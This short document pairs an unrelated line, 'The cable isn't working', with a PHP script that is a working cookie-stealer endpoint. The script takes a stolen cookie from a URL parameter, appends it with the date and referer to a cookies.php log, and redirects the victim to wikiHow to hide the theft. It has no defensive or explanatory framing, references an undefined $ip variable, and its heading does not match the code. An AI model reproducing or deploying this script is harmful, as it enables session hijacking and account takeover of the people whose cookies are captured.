The cable isn't working

<?php

$cookie = $_GET['c'];

$date=date("j F, Y, g:i a");;

$referer = getenv('HTTP_REFERER');

$fp = fopen('cookies.php', 'a');

fwrite($fp, 'Cookie: '.$cookie.'<br /> IP: '.$ip. '<br /> Date and time: ' .$date.'<br /> Referer: ' .$referer.'<br /><br />');

fclose($fp);

header ("Location: http://www.wikihow.com/Main-Page/");

?>